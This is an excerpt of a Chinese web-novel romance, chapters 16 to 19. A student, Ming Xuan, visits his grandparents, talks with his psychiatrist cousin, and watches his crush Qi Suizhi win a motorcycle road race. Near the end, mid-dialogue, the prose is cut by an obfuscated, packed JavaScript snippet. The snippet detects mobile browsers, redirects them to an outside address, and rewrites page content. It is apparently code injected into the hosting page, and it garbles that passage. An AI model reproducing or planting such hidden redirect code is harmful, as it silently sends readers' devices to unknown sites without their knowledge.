“那就麻烦你了明昭。”明暄了然地点头，“你是医生，说话比我有分量。” “利用完了就不喊哥了是吧？”明昭无语。 明暄没心没肺地笑了两声，将车窗打开一小条缝，趴在玻璃上看着窗外的景色。 明昭转过头，深深地看着这个所有表情都写在脸上的，活泼单纯的堂弟。 车行驶到小区门口，老远就能望见独立别墅外爷爷奶奶开着门站在门口守着。 等车一停稳，明暄蹭地一下就蹿下了车，三步并两步地跑到了老人家面前。 “爷爷奶奶你们站多久了？”明暄一手挽着一个，“也不怕热着，我陪你们先进去。” “还不是想早点看到你们。”奶奶拍了拍明暄的手，“你行李呢暄暄？” 明暄回过头，看到左右手各拉着个行李箱的明昭—— “明昭拿着呢。” 丝毫没有半分愧疚和感恩，十分地理所应当，进门的时候甚至伸手带了一下大门。 “你就挽着爷爷奶奶自己进去吧，啊。”明昭站在他们身后，声音不大不小，“再顺带把门也给关了，我等会就在咱家门口坐着，谁也别给我开门。” 奶奶听着明昭的话，乐的直捂嘴：“哪儿舍得关门让你在门口啊，进来进来。” 凉气铺面，明暄蹬掉了脚上的运动鞋，踩着拖鞋一路直行到了厨房，拉开冰箱，果不其然，里面都是爷爷奶奶给他备下的纯牛奶。 明暄拿了两盒出来，扔了一盒给明昭。 “陪我去趟超市呗明昭？” 明昭接过牛奶屁股还没坐下来：“你能不能让我歇会儿？” “你要买什么呀？”奶奶问道，“家里你爱吃的爱喝的我们都备好了的呀。” “改口味了奶奶。”明暄抱着奶奶的手臂撒娇地晃了晃，“不爱喝纯牛奶了。” “嗯？那现在喜欢喝什么？” 明暄眨了眨眼：“现在最喜欢草莓味的牛奶。” 16. 第 16 章 明暄推着小推车，拉开冰柜拿出一盒草莓奶看生产日期。 “我记得你以前不是不爱喝这种水果奶吗？”明昭打了个哈欠，双手插着兜站在他身后，“说都没有牛奶的味道了。” “现在喜欢了呗。”明暄一手两盒一趟一趟地往小推车里搬草莓奶，跟进货似的。 明昭挑了挑眉，也没再多问。 冰柜里放草莓奶的地方空出来一大块，全都进了明暄的推车里。 明暄看着小推车，满意地拍了拍手。 视线落到满脸困倦的明昭脸上，他抬起手在明昭的面前使劲儿晃了好几下。 “你怎么不问我为什么突然喜欢了？” “没兴趣啊。”明昭拍开他的手，“又不犯法，喜欢了就喜欢了。” “不行，你要听我说。”明暄说，“我讲给你听。” 明昭：。 明暄叽叽喳喳地讲，从自己去便利店买晚饭的时候只剩一盒草莓奶开始，讲完和祁随之的相遇过程。 明昭困得不停打哈欠，闭着眼被明暄强行灌输。 听完后，他只有一个评价—— “没看出来，你居然是个恋爱脑。” 明暄嘿嘿傻笑。 “说起来你说你这次回来是为了工作，什么工作啊？”明暄一手推着小推车，一手揪着明昭的胳膊慢悠悠地晃到收银台。 “学术交流。”明昭说。 明暄：“交流什么，如何画房子树人吗？” 明昭站在原地长叹了一口气：“在你眼里我们心理医生是不是只会给人画屋树人啊？” “我哪知道，我又没看过心理医生。”明暄摊手，“我好奇嘛，交流什么？” “催眠疗法。” “嚯！”明暄扬了扬眉，“是跟电影里一样吗，拿个小怀表在人面前晃啊晃的，就能让别人把自己银行卡密码说出来的那种？” 明昭叹气。 “还是说可以让人恢复记忆？”明暄说，“你会吗？回家给我试试呗，我小时候的事儿我都不记得了，爷爷说是我发高烧烧没的，你试试，看看我能不能记起来？” 明昭听着明暄说话，眉头不自觉地皱了起来，声音也严辞了不少：“试什么试，回家我要睡觉，明天开始我就要忙了。” 明暄撇了撇嘴：“不给试就不给呗，凶什么凶。” 排队到了他们，明暄把小推车里的草莓奶一盒盒拿出来摆在收银台上。 明昭看着他的后脑勺，无声地叹了口气。 结完账后，明昭从明暄手上拿走了那一大袋草莓奶，一前一后地走回了家。 阿姨带着围裙开了门，看到是他们俩时露出了惊喜的笑容。 “暄暄和小昭回来啦，早上老爷子说你们都回来了，姨就赶忙买菜去了。” 阿姨负责照顾爷爷奶奶很长时间了，几乎是看着明暄长大的，和明暄亲的很。 “陈姨辛苦啦。”明暄从明昭手上的袋子里拿了一盒草莓奶递给她，“刚买的，尝尝看。” 陈姨应了声好，拿着奶走进了厨房。 “我上楼眯一会儿，等会吃饭的时候喊我，下午就不睡了。”明昭把袋子放在客厅茶几上，打着哈欠上了楼。 明暄点头，抱着这一大袋子走到了厨房，一边和正在择菜的陈姨聊天，一边把这些草莓奶塞进满当当的冰箱里。 “陈姨我把奶塞冰箱里了啊，您要是爱喝就自己拿。”明暄看着满冰箱粉色的纸盒，成就感拿了一盒插上吸管关上门。 “好嘞。”陈姨说，“你回来也累了，先歇会儿，等会喊你吃饭。” 明暄叼着吸管哼哼唧唧地应好，走到客厅的沙发上趴了下来。 和祁随之的聊天记录还停在他那句“小情侣”上，明暄不回，祁随之也不解释。 他嘬了一口奶，把纸盒放在茶几上，抱着手机撅着屁股翻了个身，斟酌了半天，决定假装没看到上面的内容。 【明暄：我到家啦】 祁随之睡得迷迷蒙蒙，是被电话叫醒的。 “喂？” 嗓音里带着困倦。 “你这是还没醒？”虎哥的大嗓门从听筒里传出，祁随之皱着眉把手机拉远了一些。 “不是。”祁随之撑着翻了个身，“早上起了，困了又睡着了。” “这次比赛报名不，我把网站发你？”虎哥问。 祁随之说，“在哪儿啊？” “A市，七月底。”虎哥说。 祁随之没急着给答复，只回了一句“再说。” 起身拉开窗帘，艳阳高照的好天气，祁随之眯了眯眼，点开微信，看到了明暄的那句“到家了”。 看着明暄僵硬地转开话题，祁随之勾着唇角很轻地笑了笑，发了条语音过去。 “刚又睡了会儿，现在醒了。” 【明暄：外面天色暗了，感觉要下雨】 【明暄：睡觉的好天气，等会吃完中饭我也去睡了】 祁随之看着窗外的大太阳，丝毫没有下雨的迹象。 【祁随之：S市还是大太阳】 【明暄：嗯？你还在S市没回家吗？】 祁随之撑在窗台上点了根烟。 【祁随之：我家就在这】 【明暄：喔】 【明暄：我家在A市，有机会来玩，这边还蛮好玩的】 A市，是虎哥说的这次比赛的地点。 祁随之没急着回复，打开了他们摩友的微信群。 群内消息已经刷到了99+，祁随之从最上面一条开始看。 【虎子：这次公路赛地点定了，兄弟们有懂我意思的没？】 【小雅：看见了，虎哥你报么】 【老刘：虎子肯定报啊，小雅你呢，给你报一手？】 【小雅：我就不凑热闹了，就一业余的，没到这个水平，回头过去看你们，不过随之应该会报吧？】 【冉乐：小排量么，小排量的话随之不一定会去吧】 【小雅：最高到600，先问问呗】 抽完烟，祁随之回到屋里，打开电脑，点开了虎哥给他发的报名网站，给自己报上了名，报完后截了张图发在了群里。 【祁随之：去呗，下午去改车】 【虎子：我车也要动一下，下午跟你一起】 【祁随之：行】 不同的赛事小组都有排量限制，分原厂改装，祁随之的车原装排量高达998cc，要参赛的话第一件事就是要把发动机改成参赛限制内。 报完名后，祁随之打开了和明暄的聊天框。 【祁随之：七月就有机会】 【祁随之：月底A市有比赛，想看吗？】 远在A市的明暄抱着手机坐直了身子—— 【明暄：必来！】 17. 第 17 章 吃饭的时候，明暄心不在焉，明昭满脸困倦，奶奶的视线在他俩脸上来回转。 “小昭你要么干脆在家多呆几天，时差倒好了再去，就缺那么一两天啊？”奶奶面露忧色，“都困成什么样了。” “待不了啊奶奶。”明昭打了个哈欠，“我没事儿，今天下午撑一下晚上早点睡就行。” “暄暄又是怎么了，对着你面前那盘菜发什么呆？”奶奶夹了一筷子鱼放在明暄的碗里，“你也没休息好吗？” “嗯？”明暄回过神，摇了摇头，“没啊，休息挺好的。” 奶奶嗔怪地看他：“那就专心吃饭，想什么呢。” 明暄咧起嘴角笑了笑：“知道啦奶奶。” 一顿饭吃完，爷爷奶奶上楼午睡，明暄重新窝回了沙发上，打开手机搜索A市月底要举办的这场公路赛。 明暄对这个实在是不了解，什么排量什么赛程什么规则他一窍不通就算了，甚至找了半天也没找到在哪儿购买观看比赛的门票。 正当他琢磨着要不要问问祁随之的时候，突然想起来了—— “哦对！”明暄猛地一拍大腿，抄起手机在联系人里找到了冉乐，点开了聊天框。 【明暄：冉乐哥】 另一端直接秒回。 【冉乐：哟！终于有人喊我哥了！】 【冉乐：说吧什么事儿】 【明暄：就是那个……】 【明暄：七月底A市是不是有摩托比赛啊，我刚刚在官网逛了好久都没找到买观众票的地方，你知道在哪吗TvT】 冉乐抬起头，看向前面正在盯着自己的车改装的祁随之，意味深长地笑了笑。 祁随之仿佛身后长了眼睛，回过头看着冉乐：“笑什么？” “没什么啊。”冉乐耸了耸肩膀，“你的好朋友问我怎么买比赛门票，他真什么也不懂啊？” “我的好朋友？”祁随之歪了歪头，表情有些疑惑，“哪个？” 冉乐：“叫明暄的。” 祁随之愣了愣，随即闷出了很轻的一声笑：“你怎么认识他？” “他之前，拿着你车的照片儿到我哥的店里来问。”冉乐说，“幸好碰上的是我，碰上别人都得给他撵出去，拿着川崎来雅马哈问，这跟砸场子有什么区别。” “他问这个干什么？”祁随之不解。 “那我不知道，他没说。”冉乐说，“他是去看你比赛吧，看他对摩托一窍不通的样子，怎么不直接问你？” “估计是怕我直接给他把票买了。”祁随之说。 冉乐一脸耐人寻味：“那你给他买没？” 祁随之偏过头笑了笑：“还真买了，不过他自己要买的话就让他自己买，我那张票你拿着吧，去的时候陪他一块儿看，他应该没人陪着，你陪他说说话也行。” “什么关系啊你俩，又是给买票又是给请个陪聊的。”冉乐搭着祁随之的肩膀，“嗯？随之？” 祁随之挑眉：“好朋友，你说的啊。” 冉乐：“之前怎么就没听说你有这号朋友……” 【冉乐：知道啊，你要去看比赛？】 【明暄：嗯嗯！你能把购票的网址发我一下吗】 【冉乐：行啊，正好我们也要去看，我发你】 【冉乐：对了，随之的比赛在赛程第二天】 【明暄：谢啦】 明暄收到购票网站，满意地点开，盘着腿往后靠。 摩托比赛在国内并不算大众运动，一般也只有真正热爱的人才会去看，所以票价不低，量也不高。 明暄选了最贵的票，点击下单。 “哟？”明昭凑了个脑袋过来，看着他的屏幕，“买什么了？” 明暄被他吓得一个激灵，手机往腿上一盖：“你怎么偷窥人隐私，万一我在跟人谈情说爱你尴尬不尴尬？” “不尴尬。”明昭实诚地摇头，“你买什么呢。” “门票。”明暄盘着腿换了个坐姿。 明昭问：“A市最近有画展？” “没有。”明暄摇头，“摩托比赛。” 明昭一脸震惊：“摩托？你牛逼了啊？你不会告诉我你背着咱家在学校买了辆摩托做鬼火小子吧？” 明暄背过手从背后捞了个抱枕抱在怀里，指尖一根根儿地捻抱枕上的须须。 “哪儿啊，我就去看看比赛。” 明昭手上端着杯子，坐在了明暄身边：“是不是你喜欢的那个，你学校那个叫祁什么什么的，要去看比赛，你陪他一块儿？” “那倒不是。” 见明暄没有犹豫的反驳，明昭松下一口气。 弟弟喜欢的人不热衷比赛还好，如果只是单纯喜欢骑骑车，做好防护也没多大事儿，赛摩这玩意儿意外可不少。 只是这口气还没松完，就听明暄又开口了。 “他去比赛的。” 明昭：。 他沉默地喝了小半杯水，把杯子放在了桌面上，斟酌着开口：“暄暄啊，你说有没有一种可能，就是你可以喜欢一个日常生活不那么危险的人。” 油门一响，爹妈白养。 这话也不是空口无凭。 明暄毫不犹豫地摇头：“不太行。” 明暄一向被家里纵着，明昭看着他清澈的眼睛，沉默了一会儿，点了点头。 “行，你自己别骑，也别坐别人车后座去飙车，这是底线。大学时期坐别人自行车后座可能还叫个浪漫，做别人摩托车背后……” 明暄：“那叫摩的。” 明昭抬手在明暄脑袋上拍了一巴掌：“滚蛋！” “好好说话就好好说话！”明暄抱着脑袋倒在了沙发上，“你打我，我告状！” “告吧，我跟爷爷说你玩车去了，看谁挨揍。” 明暄对着他比了个中指：“不讲武德！” 明昭拍拍屁股站起身，端着水杯冲着明暄皮笑肉不笑道：“我去书房了，你该干嘛干嘛去吧。” 明暄“哼”了一声，趾高气昂地走进了家里的画室，路过明昭的时候还故意撞了他一下。 明昭无语：“小屁孩儿。” · 七月底，正是最热的时候，明暄叼着冰棍儿，金鸡独立似的，一条腿抬在半空中系鞋带。 “陈姨，我出去玩儿了啊，等会帮我跟爷爷奶奶说一声。” “欸行，晚上回家吃饭吗？”陈姨看着明暄单脚站着摇摇坠坠，伸手扶住了他的肩膀，“你弯腰系不行么。” “问题不大。”明暄在原地蹦跶了两下，换了只脚抬起来，“晚上……” 晚上会不会回来吃饭他还真的不确定。 听冉乐的意思，祁随之的朋友们应该也都会去看祁随之参加比赛，等比赛结束后还真不一定有时间顾得上他。 “晚上应该会回的，如果不回的话我提前打电话。” “行。” 明暄换好了鞋站直，侧过身打开家门，一股热浪顺着门缝钻了进来。 他很轻地皱了皱眉：“那我走了啊。” 比赛的场地建在了较为偏远的地方，明暄打车过去花了足足四十分钟，露天的场馆观众席躁动一片。 【明暄：我到啦！】 给祁随之发完消息，明暄向下环顾了一圈。 赛道上已经有不少选手跨着车在起点处了，明暄看着包裹的紧实的选手，又眯着眼抬头看着大太阳，没忍住感叹。 真热啊。 手机在手心里震动了一下，明暄忙不迭地打开，发现消息是冉乐发来的。 【冉乐：你到了吗，我们来找你一起？】 明暄赶忙点头回复。 【明暄：好啊好啊，我在中间第一排！】 等了没一会儿，冉乐和小雅两个人从后面走了过来，站在了明暄身边。 小雅穿着吊带小短裙，披了一件半透的衬衫，吸引了观众席不少人的目光。 她倚在护栏上，抬手在空中指尖相碰：“嗨。” 明暄乖巧：“小雅姐好。” “还真让随之猜对了，你真一个人来的啊。”冉乐说。 “嗯？” “随之猜你是一个人过来的，让乐乐陪陪你。”小雅摆了摆手，“我反正也看腻那帮大老爷们儿的脸了，索性跟乐乐一块儿来陪你看。” 祁随之是真的想的很周到，让冉乐来陪他肯定不仅仅是因为他只身前来，更多的应该是让冉乐跟他讲解一些有关比赛的事儿，不至于让他像个呆瓜一样站着什么也看不懂。 明暄真诚地开口：“谢谢啊。” “谢随之吧。”冉乐冲着赛道抬下巴向明暄解释，“等会会让车手跑一圈暖胎熟悉地形，然后进排位赛，排位赛的排名决定了正赛的发车位置。本来一般来说排位赛和正赛不会放在同一天，但摩托嘛，不太受重视，赛道管制要把比赛时间压缩，排位赛结束后歇一会儿就要进行正赛了。” “喏，中间那个就是随之。” 小雅眼尖，抬手指了个位置，明暄跟着她指的位置看了过去，看见了整场比赛里自己唯一认识的那一辆车。 “欸，我等会要不要溜出去去买束花啊。”明暄撑着下巴道。 冉乐偏头看他：“买花干什么？” “庆祝他夺冠啊。”明暄说的理所当然。 “我说弟弟。”小雅听着明暄这话都乐了，“暖胎圈都还没开始跑，你就想着庆祝夺冠了啊？” “而且比赛自由人没几个，大多都是有正儿八经专业车队的人参加比赛的。”冉乐说，“车队训练可跟我们平常跑跑差别大了，昨天虎哥跑的那场，排位第十名开外了，随之虽然确实会跑，但真不一定跑得过那些受过专业训练的。” 明暄撑着栏杆往下看，热浪仿佛有了实体。 即使冉乐把话都说的明了，但明暄对祁随之依然有着莫名的自信。 “我相信他。” 18. 第 18 章 “欸乐哥。”明暄突然开口，“比赛的话，摩托是和长跑一样所有车站一排吗，那一发车不是会很乱嘛。” “怎么可能在一排。”小雅没忍住乐了，“站一排的话跑内线全该撞车了。” “喏，你看地上的格子。”小雅抬手指了指，“那个叫发车格。” 明暄踮起脚看过去，发车格的位置占了小半条直线，最近的贴在起点线上，而最远的……离起点线都有挺长一段距离。 “这场比赛是按照国内赛事的积分定的发车格。”小雅说。 明暄偏头看她：“那祁随之会在哪儿啊？” “最后面吧，他没有积分。”小雅耸了耸肩膀，“随之不太跑小排量比赛，但1000cc的比赛国内很少，唯一一场随之在学校上课。” 明暄瘪着嘴嘟囔：“起跑都比别人长那么一大段，那不是好不公平嘛……” “公路赛都这样。”冉乐说，“有的比赛是有练习赛的，练习赛成绩排排位赛发车位，但这场没有，也只能听赛事组的。” 明暄靠在栏杆上替祁随之愤愤不平了好一阵后，屏幕上亮出了发车格上各个选手的编号。 17，779，QISUIZHI。 “随之在第十七号发车格。”冉乐说，“779是随之的编号。” 明暄问：“有什么含义吗？” “呵。”小雅笑了一声，“没什么含义，你用手机九键输他的名字就是779。” 明暄：。 真是随便。 赛道上工作人员陆续离场，随着不绝的引擎声响起，只剩下了选手。 “暖胎了。”冉乐说。 暖胎圈的车速不快，明暄的视线紧跟着赛道上的祁随之，直到消失到在视野范围内后，才偏过头小声询问：“为什么叫暖胎啊，不是熟悉地形吗？” 冉乐胳膊撑着栏杆，手掌撑着脸，歪着脑袋开口：“熟悉地形是一方面，另一方面是要给轮胎升温。比赛的轮胎是赛事统一安排的，和平常我们用的车胎不太一样。” 明暄“哦”了一声，将视线投到了转播屏幕上。 屏幕上一大坨五颜六色的人和五颜六色的车在缓慢过弯。 明暄将视线定在中央的祁随之身上，看着他握着把手不断地扭动摩托。 他眯着眼睛，妄想从镜头下看到头盔里祁随之现在的表情。 然而什么也看不清。 过了有一会儿，引擎声由远及近传入耳，绕场一周的暖胎圈已经结束了，选手们将车骑在各自的位置上，等待排位赛开始。 引擎轰鸣声牵动着热浪，不同的声响混杂在一起，乱，却使人振奋。 随着指示灯灭，赛道上所有的车向前逼近。 仅仅就发车这一瞬，借着后排赛道不少人的一愣，祁随之拧着油门从最末冲到了中排。 “好快。”明暄咂舌。 “川崎嘛，”小雅摊手，“直道王。” 冉乐接腔：“川崎嘛，弯道亡。” 直线是川崎的天下，即使将发动机改了，但依旧遮掩不住这辆车野兽的本性，就连发出的声浪也好似比其他的车动听。 但发车格的位置对跑赛的影响还是很大的，超了后排小部分车后，祁随之也只能稳在中排。 明暄盯着屏幕，不自觉地攥紧了面前的护栏。 “随之这个车，”小雅看着屏幕上即将过弯的祁随之，叹了口气道，“过弯一旦没处理好很容易被超，严重点可能直接侧翻，这车太重了。” 小雅话音刚落，祁随之已经到了1号弯道。 屏幕里的祁随之膝盖微微向外打开，身体向弯道方向侧倾，微微降速驶过弯道，过弯结束猛拧油门。 明暄睁大了眼：“超了两个——” “随之是腰是真好。”冉乐看着祁随之稳当过弯，忍不住感叹道。 在后面的3号弯和8号弯道时，祁随之同样稳定过弯，弯道超车，排名从最开始的十七直冲上了第五。 “779号谁啊，听都没听说过，跑的还挺猛。”站在他们身后的人没忍住发出感慨。 明暄得意洋洋地晃了晃脑袋，听着看比赛的其他人忍不住夸祁随之就好像被夸的是自己一样。 镜头给到后排车驶入11号弯道，这时赛道中排的一名选手弯道没处理好，侧翻驶入了缓冲区。 明暄没忍住皱眉：“嘶——” “这么怕？”小雅玩味地看他，“玩车的谁没摔过百八十次。” 明暄呼了一口气，小声嘟囔：“玩赛车的比美院搞毕设的人还疯狂。” “这不算什么。”小雅说，“翻车进缓冲带一点事儿也不会有。” 明暄不置可否，连人带车这么一摔怎么可能一点事儿也没有，他这一辈子最痛的一次也就是初中的时候撑着同学的肩膀站在人自行车后座上摔了一下。 就这一下，他记到今天，和这帮玩车的人比起来根本什么也不算。 13号弯道是一个S形弯道，左弯接右弯再接左弯，从这个弯道出来就是一条笔直的赛道，直通终点。 祁随之的过弯技巧很酷炫，向左压到极低过下第一个弯道后迅速带起车子往另一个方向压，从这条S弯出来时，他的排名从第五冲到了第三。 油门轰鸣，最后一个弯道出弯时就已经奠定了比赛结果，第一第二两个人已经冲过了重点线。 “第三，了不起。”冉乐忍不住感叹，“排位第三正赛基本也能这个排名了，随之还是比虎哥强啊。” 小雅看热闹不嫌事大：“这话你到后排跟虎哥说去？” “这有什么好说的，虎哥自己心里门儿清着。”冉乐说，“先到后排阴地儿坐会儿吧，等会正赛了。” 明暄抬手在额头上抹了一把，果不其然一手的汗。 他把头发往后捋，点点头跟着他们坐了下来。 “排位祁随之都能从最后面冲到第三名，那正赛是不是就能冲第一了啊？”明暄眨巴着眼，“不行，我得出去买束花。” “买什么啊弟弟。”小雅拽住了站起身的明暄，“你坐着吧，这方圆十里哪儿会有花店啊这。” “也不是我打击随之，第一第二老车手了。”冉乐说，“他俩一直在很前面，而且正赛时因为轮胎磨损程度不同，发车位很大程度就已经决定了比赛名次，随之改发动机后只骑了不到一个月，跟这些常年跑六百的没得比。” “你怎么长他人志气灭自己威风的啊。”明暄鼓着嘴委屈道。 “没涨。”冉乐无奈地开口，“得跟你说明事实是不是？” 冉乐的几句话让明暄稍微有了一些小情绪，他们作为祁随之的朋友却一直泼他冷水。 虽然话说的都很有道理……但他就是无条件相信祁随之。 明暄小幅度地点点头，从口袋里掏出手机，闷着头锁屏，解开，再锁屏，再解开。 第六次锁屏再解开时，手机震了一下。 【祁随之：别急】 明暄弯起嘴角，扬起好看的笑。 【明暄：信你】 短暂的休息过后，正赛开始。 祁随之的发车位从末尾到了前面，自然而然，也吸引了不少人的目光。 红灯灭，比赛起。 祁随之紧拧油门，跟第二名只空出了将近两个身位的空隙。 压弯，出弯，加速，三辆车在最前方，将后方的十几辆车甩开一大截。 之前过弯时超车的几处弯道这两名车手明显比后面的车手处理的好上不知道多少倍，祁随之每每想要超上去时，都会被卡住身位无从下手。 就这样一直从一号弯道到八号弯道，三辆车的顺序位置都不带改变的。 明暄看着屏幕，几乎忘记了呼吸。 在九号弯道时，祁随之提前斜倾压弯，连人带着车几乎贴地，护膝在地面摩擦出火花，出弯，给油。 779号祁随之的名字从第三冲上了第二。 跟上第一名，即将到达最后一个，也就是S形的13号弯。 这条S弯的前两个过弯，祁随之都跟在第一名的车后，几乎紧贴着过弯，一直到最后一个弯时—— 祁随之改了走线，强行挤进了一号车和赛道内弯的空隙中，摩擦护膝过了最小弯超了第一辆车，出弯时因为过弯太极限车身很剧烈地抖了一下。 这一下抖动引起了观众席上一片叹息声。 明暄睁大了眼睛，握着栏杆死死盯着屏幕。 在祁随之抖的这一下中，被他超过的那辆摩托车被迫绕了个大弯，此时也要出弯了。 “轰”地一声，祁随之率先出现在了赛道视线范围内，车身恢复平稳，祁随之俯在车上急速前进。 最后一个出弯没能超车，接下来的直线祁随之不会给任何人超车的理由。 唯一认识的这一辆车以第一名冲过了重点线，明暄颤抖着手捂住了嘴，生怕自己呐喊出声。 但这一内弯超车实在是太极限，也太有观赏性了整个观众席，除了他，所有人都在呐喊。 明暄的眼里不知不觉蓄上了一层泪，透过这层泪，他模糊地看见祁随之从车上跨下来，看见祁随之偏过头，冲着观众席以王者之姿举起了手臂。 明暄瘫软着身子坐了下去，和热情高涨的观众完全不同。 他捂着唇闭上了眼，眼泪顺势滑落，一颗又一颗砸进手掌心，泄洪似的无法控制住。 “卧槽弟弟，你怎么哭了？”小雅激动的劲儿下来，一回头看到的就是哭的眼睛通红的明暄，“吓到了？” 明暄胡乱用胳膊擦着眼泪，只是摇头。 手机叮了一声，明暄颤抖着手拿起手机，是祁随之发来的语音条。 他的声音还带着喘，却很温柔。 他说。 “明暄，不哭。” 19. 第 19 章 明暄听到语音的一瞬间，瘫软的四肢仿佛又恢复了力气，他胡乱抹干净眼泪坐直了身子，撑着被晒到发烫的栏杆往下望。 祈随之的头发已经被汗湿了，这会儿被整个往后捋，露出了光洁的额头。 他一只手拎着头盔，另一只手握着手机，微微弯着腰喘气儿,旁边站着好几个工作人员。 “没什么事儿吧？”小雅蹲在明暄面前，手上拿着几张纸巾递给他，面露忧色地看着脸色通红的明暄，“怎么哭成这样了？” 明暄吸了吸鼻子，从小雅手上接过纸巾盖在眼睛上摇头，声音还带着点儿不可抑制的颤：“没事，就是……觉得好危险。” 刚刚祁随之过弯那一下不可控的摆头和来自观众席的嗟叹声，让明暄心下一悸。 “我的妈突然坐下来一个人我还以为有人看比赛中暑了。”站在明暄身后的大哥没忍住感叹道，“吓我一大跳。” 明暄擦干净了眼泪，攥着纸团红着脸回头：“抱歉啊，吓着你了。” “没事儿。”那人大手一挥，“我第一次看比赛的时候离赛道可近，车来的时候吓得我直接往后栽，后面习惯了就好。” 明暄勾出笑容，点了点头。 “第一名你们朋友吗？”他又问，“这个走线挺狠啊。” 冉乐听乐了，开口道：“我好像也第一回看他这么走，他还挺惜命的其实，一般没这么剑走偏锋。” 明暄一边听着他们的对话，一边歪着脑袋往颁奖台看。 大部分从赛道上下来的选手周围都围了一大圈人嘘寒问暖，唯独祁随之的身边只有赛事的工作人员，还有一个面熟的虎哥。 “小雅姐。”明暄抬手搓了搓脸，“那些围在下面的都是什么人啊？” “大概率是选手车队的人。”小雅回过头看了一眼说道。 一大堆人都热热闹闹的，衬托着祁随之那边更加冷清了，明暄几不可闻地叹了口气。 小雅心细，看出了明暄的心中所想：“是不是想下去陪着随之？” 一片云飘了过来，遮住了耀目的日光，在明暄的脸上投下一片阴影。 “可以去吗？”明暄仰着头，眼巴巴地看着小雅，“我刚刚看见虎哥在他身边，我可以去吗？” “虎哥也在的话，其实应该也不是不行。”小雅想了想，站起身蹬了蹬腿，抓着衬衫下摆绕着纤细的腰打了个漂亮的蝴蝶结，“我陪你过去？” “别别别小雅。”冉乐及时拉住了小雅的手腕，“观众进不去，只有车队的人、选手和比赛工作人员能进去，虎哥能去是因为昨天他跑比赛了。” 小雅摊开双手，对着明暄耸了耸肩膀：“就这儿看吧，反正等会随之颁完奖就回来了，你要不要先去洗手间洗把脸，你脸好红。” 明暄“啊”了一声，抬手搓了搓脸颊，应了声好后，撑着座椅站了起来，走向了洗手间。 到底是个比赛，再怎么小众，同好凑在一起人数依然可观，这会儿又正值比赛和颁奖的间隙，洗手间内满是人，烟味和洗手间的味道混在一起，明暄皱了皱眉。 走到洗手池旁，低下头打开水龙头掬了一捧水抹在发烫的脸颊上，抬起头，镜子里的明暄睫毛鼻尖挂着水珠，眼尾还泛着红，看上去漂亮又脆弱。 简单地抹了把脸后，明暄挤了两泵洗手液在手心里搓出泡泡，指尖交叉，认真地洗干净了手。 再度回到观众席时，颁奖台下方已经只剩下了几家体育媒体，选手和随行人员都进到了后台。 明暄找到小雅和冉乐的位置，刚走到他们身边时，就听见了颁奖台那一边传来的消息。 “本次锦标赛的冠军是——自由人，祁随之！” 这话一出，身后的观众们躁动更甚。 “卧槽自由人？？” “太牛逼了吧，这人排位赛的时候都没有积分的，从最后一路冲向第三。” “妥妥的黑马啊，感觉肯定会有挺多队伍拉拢他的。” 明暄听着身后人的讨论，很轻地勾起了嘴角，刚洗干净的手又扒拉上了栏杆，整个人身体向前倾，视线追随着从后台走出来的祁随之。 他是真的很耀眼，即使身上的骑行服和护具还没来得及脱下来，但他肩宽腿长个子高，表情轻松抱着头盔往颁奖台上一站着，倒不像是在颁奖，而是在拍什么时尚杂志的封面。 明暄打开手机相机，对着拿冠军奖杯的祁随之摁下了快门键。 “帅不？”冉乐凑过来看着明暄的手机屏幕。 明暄打开相册翻开刚刚那张被定格的照片。 或许是巧合，照片里的祁随之拿着奖杯，微微偏过头，视线与他交错，就好像是两个人互相注视着拍照。 “太帅了。”明暄疯狂点头。 “这次的比赛很精彩啊，最后那个弯道超车是一开始就想好这么走的吗？”主持人问道，“我不信你不让，我不信你赶上。” 颁奖台上的祁随之无奈地摇了摇头：“不是啊，其实是前面的弯道一直想超但没办法超，只剩最后一个弯了，铤而走险。” “这话太实诚了。”主持人笑了笑，“不过还是跑出了效果的，超车的时候有想什么吗？” “骑车比较忌讳心神不宁吧。”祁随之说，“要说当时在想什么，那会儿应该全身心都在赛道路线上，毕竟这么极限内道擦线过弯我还是第一次。” “不过……”他顿了顿，“通过终点线的时候在想，幸不辱命。” “幸不辱命？”主持人偏了偏头，尾音上扬，“是带着任务来的吗？” “不是任务。”祁随之说，“有个朋友第一次来看赛摩，幸不辱命，没给他丢脸。” 话音落下，冉乐和小雅的视线噌地一下全都投到了明暄的脸上，带着狐疑和探究。 祁随之的这句话太像是大庭广众之下的告白了，明暄正飘飘然着，还没从祁随之那句幸不辱命中出来，就被两道灼目的视线盯住，他左瞧瞧右看看，装傻充楞道：“怎、怎么啦？” “你跟随之关系不简单啊？”冉乐说。 明暄眨了眨眼，心说“真的吗有多不简单详细说说！” 开口却是：“也没……没有吧？” “随之其实挺独的。”冉乐想了想，“我没见过他其他的朋友，也没见他有什么走的近的同学，所以他对你……” 明暄期待地看着他。 “你一定是他很好的哥们！”冉乐单手握拳拍在另一只手掌上，“好哥们！” 明暄没忍住，嘴角抽了两下。 小雅听着他俩的对话，有些无语。 “行了行了，咱先下去吧。”她说，“等会随之来观众席应该不太方便，毕竟冠军呢。” 这会儿太阳已经西沉，天空染上绚烂的橘色霞光。 明暄跟着冉乐和小雅，见到了这次来A市的其他几个祁随之的朋友。 礼貌打过招呼后，一小伙人站在观众席下方的阴凉地聊天儿。 直到虎哥和祁随之从后台朝他们走过来。 祁随之怀里抱着自己的骑行服，穿着很简单的黑色T恤和运动裤，被汗湿的头发有一缕垂到额前，搭在眉毛上方，看起来放肆又嚣张。 “我靠我跟你们说——”虎哥的表情比祁随之还激动，“刚刚我跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727005|189502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随之在后台的时候，那几个车队的负责人都在打听随之的消息，听说随之是自由人之后一个两个全都想上来要随之的联系方式。” “给了？”冉乐问。 “没给，随之说暂时不考虑加入别的车队”虎哥惋惜地摇头，“GK这次没有参加。” “你真是……”小雅好笑地摇了摇头，“GK的死忠粉是吧？中二少年祁随之？” GK，Ghost Knight，幽灵骑士。 国内赛事水平最高的一支队伍，MotoGP曾蝉联冠军的一支队伍，所有赛摩人的梦想车队，祁随之也不例外。 